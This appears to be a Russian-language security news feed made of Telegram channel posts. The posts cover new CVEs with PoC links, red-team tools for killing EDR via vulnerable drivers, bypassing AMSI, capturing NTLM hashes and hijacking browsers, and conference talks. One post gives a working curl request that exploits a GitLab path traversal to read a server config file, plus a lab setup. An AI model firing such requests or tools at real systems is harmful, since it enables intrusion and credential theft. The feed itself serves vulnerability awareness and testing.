⚙️ CVE-2026-85706 - GitLab CE/EE unauthenticated arbitrary file read

Критическая (CVSS 10.0) уязвимость в GitLab, которая позволяет неавторизованному пользователю читать произвольные файлы на сервере
Path traversal в API коммитов репозитория. В уязвимых версиях API не убирает последовательности обхода (например, ../ или их кодированные варианты), что позволяет выйти за пределы нужного каталога и добраться до файловой системы сервера

Уязвимы:

🐥 8.7 до 19.1.7 включительно
🐥 19.2 до 19.2.5 включительно
🐥 19.3 до 19.3.1 включительно

Ручная проверка:

curl -sk -X POST \
  "https://gitlab.example.com/api/v4/projects/35/repository/commits/?file=&file.path=%2Fopt%2Fgitlab%2Fembedded%2Fservice%2Fgitlab-rails%2Fconfig%2Fgitlab.yml&file.size=1&Content-Type=application/x-www-form-urlencoded"

Уязвимый инстанс вернет примерно следующее:

{"message":"400 Bad request - Invalid parameter: invalid %-encoding (## GitLab settings\n  gitlab:\n    host: gitlab.example.com\n ... )"}

Тестовая лаба:

services:
  gitlab:
    image: gitlab/gitlab-ce:19.3.1-ce.0
    container_name: cve-2026-85706-gitlab
    hostname: gitlab.lab
    restart: "no"
    shm_size: "256m"
    ports:
       - "127.0.0.1:8929:80"     # web / API
       - "127.0.0.1:2224:22"     # ssh (optional)
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://127.0.0.1:8929'
        gitlab_rails['initial_root_password'] = 'CVE-2026-85706-Lab!'
        prometheus_monitoring['enable'] = false
        gitlab_rails['log_level'] = 'info'
    volumes:
       - gitlab-config:/etc/gitlab
       - gitlab-logs:/var/log/gitlab
       - gitlab-data:/var/opt/gitlab

volumes:
  gitlab-config:
  gitlab-logs:
  gitlab-data:

docker compose -f docker-compose.yml up -d 

🐱 PoC
🔗 Patch Release

#cve #poc #gitlab

✈️ Telegram 💬 MAX

📄 Доклады с конференции Black Hat USA 2026

The premier cybersecurity event of the year returns to Mandalay Bay with a re-engineered, six-day program built to ignite innovation, push boundaries, and bring the global security community together like never before

🐱 Slides

#blackhat #blackhatusa

✈️ Telegram 💬 MAX

😥 CVE-2026-55040

Неправильная проверка JWT в SharePoint Server Subscription Edition приводит к произвольному входу в учетную запись

By leveraging CVE-2026-55040, a remote unauthenticated attacker can assume the identity of any SharePoint site user; the prerequisite is the attacker must know in advance the user they wish to identify as. This can be achieved in a number of ways, including via a user’s Active Directory (AD) Security ID (SID), or via a user’s AD User Principal Name (UPN)

🔗 Research
🔗 Rapid7 research
🐱 PoC

#cve #poc #sharepoint #windows #jwt

✈️ Telegram 💬 MAX

⚙ Bring Your Own Vulnerable Driver

Коллекция PoC'ов, демонстрирующих, как уязвимые драйверы могут быть использованы для отключения AV/EDR

Техника, при которой атакующий использует легитимный драйвер с действительной цифровой подписью, содержащий известную уязвимость, для получения несанкционированного доступа к режиму ядра операционной системы

🐱 Repo
🔗 Living Off The Land Drivers
📝 Хабр

#BYOVD #drivers #windows #redteam #av #edr #poc

✈️ Telegram 💬 MAX

💻 0xM0nCrush v0.1.0

В дополнение к посту про BYOVD

Kernel-mode process terminator using a signed BYOVD driver. Works on all Windows 10/11
The tool is a single self-contained executable. It installs the driver through the Service Control Manager, performs the kill, then stops and deletes the service, leaving no persistent artifact behind. Targets are configurable at runtime through a config file, command line, or the built-in defaults

🐱 Repo

#byovd #windows #rust #kernel

✈️ Telegram 💬 MAX

✅ AMSI.fail

Генератор AMSI bypass'ов

AMSI (Antimalware Scan Interface) is a Windows interface that allows applications and services to scan script content for malicious usage. If a signature is registered by the AMSI antimalware service provider (Windows Defender by default), it will be blocked

🔗 https://amsi.fail
🐱 Repo

#amsi #bypass #windows

✈️ Telegram 💬 MAX

💀 go-responder

NTLMv2 hash capture tool in pure Go zero deps, single static binary.

Poisons LLMNR / NBT-NS / mDNS and captures over SMB, HTTP, FTP, LDAP, MSSQL, Kerberos and more

🐱 Git repo

⚙️ CDP Toolkit

Инструмент для работы через Chrome DevTools Protocol (CDP)
Beacon Object File (BOF) для активации CDP - CDP-Enable-BOF

It is built for penetration testing and red team workflows where you have access to a running browser's CDP endpoint and want to inspect browser state, collect artifacts, or browse through the user's browser context

🐱 Repo
🔗 Research

#cdp #chrome #devtools #redteam

✈️ Telegram 💬 MAX

💻 CVE-2026-49179: Active Directory WriteSPNScript Command Injection

Компонент (ntdsai.dll - WriteSPNScript function) Active Directory формирует команду на основе внешних данных, но не экранирует или некорректно экранирует специальные символы (8.8 по CVSS 3.1)
Для эксплуатации подойдет любой аутентифицированный пользователь, как импакт RCE от системы на DC

Уязвимы:

Windows Server с 2012 по 2025

💻 PoC

#cve #windows #ad #poc

✈️ Telegram 💬 MAX

🙂 Лучше вкусного напитка в пятницу может быть только вкусный напиток + доклады с OFFZONE 2026

Ловите все записи докладов во ВКонтакте:

1️⃣ Main track
2️⃣ Fast track
3️⃣ AppSec.Zone
4️⃣ Threat.Zone
5️⃣ AI.Zone
6️⃣ Community track
7️⃣ AntiFraud.Zone

Презентации тоже загрузили, они доступны на сайте программы. Чтобы скачать презентацию, нажмите на интересующий доклад.

Доклады на YouTube выложили, но пока частично. Оставшиеся догрузим в среду и напишем об этом.

🔄🕸 humble v1.66

Быстрый анализатор HTTP заголовков, ориентированный на безопасность

В 🐧 Kali есть в репозиториях:

sudo apt install humble

Использование:

python3 humble.py -u https://www.spacex.com

🐱 Repo

#humble #web #pentest

✈️ Telegram 💬 MAX

🔄 💻 evil-winrm-py 1.7.0

Аналог одноименной утилиты написанный на 😰 Python

Python-based tool for executing commands on remote Windows machines using the WinRM. It provides an interactive shell with enhanced features like file upload/download, command history, and colorized output. It supports various authentication methods including NTLM, Pass-the-Hash, Certificate, and Kerberos

Прикрутили поддержку MCP
Полный список изменений

Установка:

uv tool install evil-winrm-py[kerberos,mcp]==1.7.0

💻 Repo
💻 Docs

#soft #python #windows #winrm

✈️ Telegram 💬 MAX